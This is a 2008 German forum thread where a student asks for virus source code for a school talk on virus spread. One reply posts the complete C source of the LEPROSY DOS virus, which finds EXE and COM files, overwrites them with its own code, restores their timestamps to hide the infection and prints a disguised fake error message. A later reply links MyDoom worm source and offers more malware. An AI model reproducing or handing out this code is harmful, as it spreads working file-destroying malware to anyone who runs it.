Suche einen Virus

Dieses Thema im Forum "Sicherheit & Datenschutz" wurde erstellt von LOTW, 9. März 2008 .

Schlagworte:
  1. 9. März 2008
    Guten tag RR'ler, zur abwechselung suche ich mal nen Computervirus, statt ihn zu beseitigen.

    Und zwar muss ich rahmen der Schule über das Thema verbreitung von Viren berichten.
    Meine Frage dazu ist ob hier vllt jemand einen Fun Virus oder einen richtigen Virus in der Sprache C programmiert hat, den ich dann vom Quellcode ein bisschen erklären kann(ich kenn mich da noch nicht wirklich aus^^).
    Ich darf also prakisches beispiel so einen Virus auf dem Schul PC (VM ware) vorzeigen.
    Am besten wäre natürlich wenn grade zum Hauptthema verbreitung und reprojezierung gezeigt wird.

    Fals jemand soetwas bereit währe zu machen würde ich mich sehr freuen^^

    // edit: ach ja, bitte keinen der den PC hoffnungslos schrottet
    // edit2: DAs BS ist Windoof XP
    mfg LOTW
     
  2. 9. März 2008
    AW: Suche einen Virus

    ich hoffe das hilft dir , alles mit erklärung...

    /* This file is part of the source code to the LEPROSY Virus 1.00
    Copy-ya-right (c) 1990 by PCM2. This program can cause destruction
    of files; you're warned, the author assumes no responsibility
    for damage this program causes, incidental or otherwise. This
    program is not intended for general distribution -- irresponsible
    users should not be allowed access to this program, or its
    accompanying files. (Unlike people like us, of course...)
    */


    #pragma inline

    #define CRLF "\x17\x14" /* CR/LF combo encrypted. */
    #define NO_MATCH 0x12 /* No match in wildcard search. */









    char fake_msg[] = CRLF "Z|yq|kw*~yy*lsq*~y*ps~*sx*wowy|\x83.";
    char *virus_msg[3] =
    {
    CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.",
    CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.",
    CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14."
    };



    struct _dta /* Disk Transfer Area format for find. */
    {
    char findnext[21];
    char attribute;
    int timestamp;
    int datestamp;
    long filesize;
    char filename[13];
    } *dta = (struct _dta *) 0x80; /* Set it to default DTA. */


    const char filler[] = "XX"; /* Pad file length to 666 bytes. */
    const char *codestart = (char *) 0x100; /* Memory where virus code begins. */
    const int virus_size = 666; /* The size in bytes of the virus code. */
    const int infection_rate = 4; /* How many files to infect per run. */

    char compare_buf[20]; /* Load program here to test infection. */
    int handle; /* The current file handle being used. */
    int datestamp, timestamp; /* Store original date and time here. */
    char diseased_count = 0; /* How many infected files found so far. */
    char success = 0; /* How many infected this run. */





    int find_first( char *fn );
    int find_healthy( void );
    int find_next( void );
    int healthy( void );
    void infect( void );
    void close_handle( void );
    void open_handle( char *fn );
    void print_s( char *s );
    void restore_timestamp( void );







    int main( void ) {
    int x = 0;
    do {
    if ( find_healthy() ) { /* Is there an un-infected file? */
    infect(); /* Well, then infect it! */
    x++; /* Add one to the counter. */
    success++; /* Carve a notch in our belt. */
    }
    else { /* If there ain't a file here... */
    _DX = (int) ".."; /* See if we can step back to */
    _AH = 0x3b; /* the parent directory, and try */
    asm int 21H; /* there. */
    x++; /* Increment the counter anyway, to */
    } /* avoid infinite loops. */
    } while( x < infection_rate ); /* Do this until we've had enough. */
    if ( success ) /* If we got something this time, */
    print_s( fake_msg ); /* feed 'em the phony error line. */
    else
    if ( diseased_count > 6 ) /* If we found 6+ infected files */
    for( x = 0; x < 3; x++ ) /* along the way, laugh!! */
    print_s( virus_msg[x] );
    else
    print_s( fake_msg ); /* Otherwise, keep a low profile. */
    return;
    }


    void infect( void ) {
    _DX = (int) dta->filename; /* DX register points to filename. */
    _CX = 0x00; /* No attribute flags are set. */
    _AL = 0x01; /* Use Set Attribute sub-function. */
    _AH = 0x43; /* Assure access to write file. */
    asm int 21H; /* Call DOS interrupt. */
    open_handle( dta->filename ); /* Re-open the healthy file. */
    _BX = handle; /* BX register holds handle. */
    _CX = virus_size; /* Number of bytes to write. */
    _DX = (int) codestart; /* Write program code. */
    _AH = 0x40; /* Set up and call DOS. */
    asm int 21H;
    restore_timestamp(); /* Keep original date & time. */
    close_handle(); /* Close file. */
    return;
    }


    int find_healthy( void ) {
    if ( find_first("*.EXE") != NO_MATCH ) /* Find EXE? */
    if ( healthy() ) /* If it's healthy, OK! */
    return 1;
    else
    while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
    if ( healthy() )
    return 1; /* If you find one, great! */
    if ( find_first("*.COM") != NO_MATCH ) /* Find COM? */
    if ( healthy() ) /* If it's healthy, OK! */
    return 1;
    else
    while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
    if ( healthy() )
    return 1; /* If you find one, great! */
    return 0; /* Otherwise, say so. */
    }



    int healthy( void ) {
    int i;
    datestamp = dta->datestamp; /* Save time & date for later. */
    timestamp = dta->timestamp;
    open_handle( dta->filename ); /* Open last file located. */
    _BX = handle; /* BX holds current file handle. */
    _CX = 20; /* We only want a few bytes. */
    _DX = (int) compare_buf; /* DX points to the scratch buffer. */
    _AH = 0x3f; /* Read in file for comparison. */
    asm int 21H;
    restore_timestamp(); /* Keep original date & time. */
    close_handle(); /* Close the file. */
    for ( i = 0; i < 20; i++ ) /* Compare to virus code. */
    if ( compare_buf != *(codestart+i) )
    return 1; /* If no match, return healthy. */
    diseased_count++; /* Chalk up one more ed file. */
    return 0; /* Otherwise, return infected. */
    }


    void restore_timestamp( void ) {
    _AL = 0x01; /* Keep original date & time. */
    _BX = handle; /* Same file handle. */
    _CX = timestamp; /* Get time & date from DTA. */
    _DX = datestamp;
    _AH = 0x57; /* Do DOS service. */
    asm int 21H;
    return;
    }


    void print_s( char *s ) {
    char *p = s;
    while ( *p ) { /* Subtract 10 from every character. */
    *p -= 10;
    p++;
    }
    _DX = (int) s; /* Set DX to point to adjusted string. */
    _AH = 0x09; /* Set DOS function number. */
    asm int 21H; /* Call DOS interrupt. */
    return;
    }


    int find_first( char *fn ) {
    _DX = (int) fn; /* Point DX to the file name. */
    _CX = 0xff; /* Search for all attributes. */
    _AH = 0x4e; /* 'Find first' DOS service. */
    asm int 21H; /* Go, DOS, go. */
    return _AX; /* Return possible error code. */
    }


    int find_next( void ) {
    _AH = 0x4f; /* 'Find next' function. */
    asm int 21H; /* Call DOS. */
    return _AX; /* Return any error code. */
    }


    void open_handle( char *fn ) {
    _DX = (int) fn; /* Point DX to the filename. */
    _AL = 0x02; /* Always open for both read & write. */
    _AH = 0x3d; /* "Open handle" service. */
    asm int 21H; /* Call DOS. */
    handle = _AX; /* Assume handle returned OK. */
    return;
    }


    void close_handle( void ) {
    _BX = handle; /* Load BX register w/current file handle. */
    _AH = 0x3e; /* Set up and call DOS service. */
    asm int 21H;
    return;
    }

    //edit , sorry zu spät gesehen das es winXP lauffähig sein muss
     
  3. 9. März 2008
    AW: Suche einen Virus



    Ähh ja danke^^

    Wäre cool wenn ihr das Ding vllt noch bisschen kommentieren könntet wie gesagt, ich hab Prog jetzt erst vor nem halben jahr angefangen. Am besten so wie ihr das euerer Oma erklären würdet

    Es muss auch nicht so aufwendig sein. Ne stufe simpler geht schon^^( wenn das geht)

    mfg LOTW
     
  4. 9. März 2008
    AW: Suche einen Virus

    6 Monate c sind einfach zu wenig skill um solch ein referat zu machen , falls dein lehrer - prof fragen zu einzelnen funktionsweisen und speichervorgängen stellt siehst du dann alt aus , ich kann garnicht so viel erklären wie man wissen müßte , wobei mein hier gewähltes beispiel auch echt kein sehr gutes ist.
    ich hoffe jemand aus dem forum findet ein besseres beispiel mit detailierteren beschreibungen als die,welche ich wählen würde..


    // diese script-kiddies von hs hatten ein video von ihrem so tollen "festplatten♂️♀️r.exe" , villeicht hat jemand hier das video und das programm und ist so nett es dir zu uppen , dann hättest du was für deine demo.
     
  5. 10. März 2008
    AW: Suche einen Virus

    hier mal der mydoom source http://rapidshare.com/files/98415142/MyDoom.zip.html
    kann dir auch noch andere reinstellen falls interesse besteht.

    hab noch mehr in c++ und andere sprachen auch
     
  6. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.